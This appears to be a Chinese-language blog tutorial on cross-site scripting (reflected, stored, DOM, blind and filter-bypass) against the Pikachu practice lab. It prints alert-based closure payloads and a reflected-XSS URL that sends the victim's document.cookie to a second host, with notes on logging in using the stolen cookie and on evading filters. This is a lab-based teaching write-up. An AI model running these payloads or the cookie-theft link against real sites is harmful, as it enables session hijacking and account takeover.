继上一篇one，继续记录XSS
XSS（跨站脚本）概述
Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型：
(1)反射性XSS;（交互的数据一般不会被存在在数据库里面（服务端），一次性，所见即所得，刷新失效，一般出现在查询类页面等）
(2)存储型XSS;（交互的数据会被存在在数据库里面，永久性存储，一般出现在留言板，注册等页面）
(3)DOM型XSS;（不与后台服务器产生数据交互，是一种通过DOM操作前端代码输出的时候产生的问题，一次性也属于反射型）

XSS特性：
1.XSS漏洞一直被评估为web漏洞中危害较大的漏洞，在OWASP TOP10的排名中一直属于前三的江湖地位。
2.XSS是一种发生在前端浏览器端的漏洞，所以其危害的对象也是前端用户。利用XSS漏洞可以进行钓鱼攻击、前端JS挖矿、获取用户cookie、甚至结合浏览器自身漏洞进行远程控制。
3.形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理，导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
4.因此在XSS漏洞的防范上，一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤：对输入进行过滤，不允许可能导致XSS攻击的字符输入;
输出转义：根据输出点的位置对输出到前端的内容进行适当转义;

XSS测试流程：
A、在目标站点上找输入框，比如查询接口，留言板等；
B、输入一组“特殊字符+唯一识别字符”，点击提交，查看返回前端的页面源码，是否有相应的处理（是否被过滤掉）；
C、通过搜索定位到唯一字符，结合唯一字符前后语法确认是否可以构造JS执行的条件（构造闭合）；
D、提交构造的payload（脚本代码/各种绕过姿势），查看是否可以成功执行，如果成功执行则证明了XSS漏洞的存在；
注：
1.一般查询接口容易出现反射型XSS，留言板容易出现存储型XSS；
2.由于后台可能存在过滤措施，构造的script可能会被过滤掉，导致攻击代码无法生效或者环境限制了执行（浏览器的自身安全特性）；
3.可以通过变化不同的script，尝试绕过后台过滤机制；

案例测试一：反射型XSS（GET方式）

图片.png

反射性XSS从前端输入到后端，再输出到前端产生效果，但是后端并不储存XSS代码，刷新页面后就没有了。

图片.png

图片.png

弹窗

图片.png

图片.png

图片.png

图片.png

案例测试二：存储型XSS

图片.png

存储型XSS漏洞跟反射型形成的原因一样，不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来（写入数据库或者配置文件，比如留言板功能），构成更加持久的危害（访问该页面的用户全部中招），因此存储型XSS也称“永久型”XSS。
在留言板随意输入，检查下是否有过滤，发现内容原模原样显示出来

图片.png

图片.png

后端源码查看，将留言写入db

图片.png

图片.png

案例测试三：DOM型XSS
什么是DOM？DOM是纯前端的技术；
通过JavaScript，可以重构整个HTML文档。您可以添加、移除、改变或重排页面上的项目。
要改变页面的某个东西，JavaScript 就需要获得对HTML文档中所有元素进行访问的入口。这个入口，连同对HTML元素进行添加、移动、改变或移除的方法和属性，都是通过文档对象模型来获得的（DOM）。
所以，你可以把DOM理解为一个一个访问HTML的标准编程接口。
随意输入，没什么现象，查看下前端源码

图片.png

以下代码简单解释下，就是通过获取一个标签的值，然后按照格式<a href=' "+str+" '>what do you see?</a>写入到另一个标签中，整体被封装在了一个函数中

 function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }

我们现在输入的变量参数就是str，那只要将构造（"+str+"），对<a href=' "+str+" '>what do you see?</a>进行闭合操作即可，比如：

<a href='   ' onclick="alert('xss')">   '>what do you see?</a> 

图片.png

图片.png

或者

<a href=' '><img src="../../assets/images/avatars/pikachu1.png" onclick="alert('xss')">     '>what do you see?</a>

图片.png

图片.png

通过以上测试发现，DOM性的XSS只是前端自己的问题：自己接受参数自己执行，攻击的JS代码不会传到后端再返回；此时感觉这种DOM-XSS没什么太大危害，因为你没有像前面的反射XSS或者存储XSS那样进行对客户端的攻击，只是自己本地的效果执行；接下来继续看

皮卡丘DOM-XSS-X继续

图片.png

图片.png

通过获取URL参数，提取用户的输入，最后写入到dom标签中

function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');
//                        alert(xss);
                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }

图片.png

图片.png

通过以上测试大家应该清楚，如果是GET方式传参的话，配合DOM-XSS就可以构造恶意URL了，这种效果和反射型XSS很像了，但原理不一样（反射XSS是后端将恶意代码返回前端执行，DOM是前端自己接受参数构造了恶意代码自己执行，不过都是一次性）；

案例测试四：XSS获取cookie
以上测试我们是在客户端弹窗，本测试我们直接获取下客户端的cookie，以反射性GET—XSS为例：
直接使用pikachu自带的xss平台即可，构造恶意连接发给客户端诱导点击，获取cookie进行登录

http://172.172.3.251/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F172.172.5.51%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

图片.png

后续利用cookie登录大家可以尝试。。。

那么POST_XSS呢？

图片.png

图片.png

案例测试五： XSS盲打
上述XSS测试，我们测试前都在输入框随意输入来看下是否做了过滤从而答题判断是否具有XSS漏洞，但是有时候有些留言板我们提交数据后只有后端能够看（管理员看，我们看不到）也就是不会返回给前端用户；此时我们就不确定是否存在XSS漏洞，那怎么办嫩，干就完了。

图片.png

图片.png

案例测试六： XSS绕过
XSS绕过（后端有过滤的情况）的常见方式有 前端限制、大小写、拼凑、注释干扰等
（1）前端只能起到辅助作用，不能起到本质的安全；
（2）一般会使用正则进行过滤匹配，正则是区分大小写的，我们通过大小写来绕过正则的匹配，而且大小写payload返回前端时会正常的执行；
（3）拼凑的一般使用场景指的是后端有过滤，如果只过滤1次的话，我们进行拼凑，后端把我们的内容过滤后整好出现了完整的payload
（4）注释干扰指的在payload中加一些注释语句，这些注释语句夹杂一起后端可能识别不出来我们的payload，但是前段执行的时候是忽略注释语句的，还是执行了完整的payload
测试XSS绕过

图片.png

图片.png

图片.png

图片.png

图片.png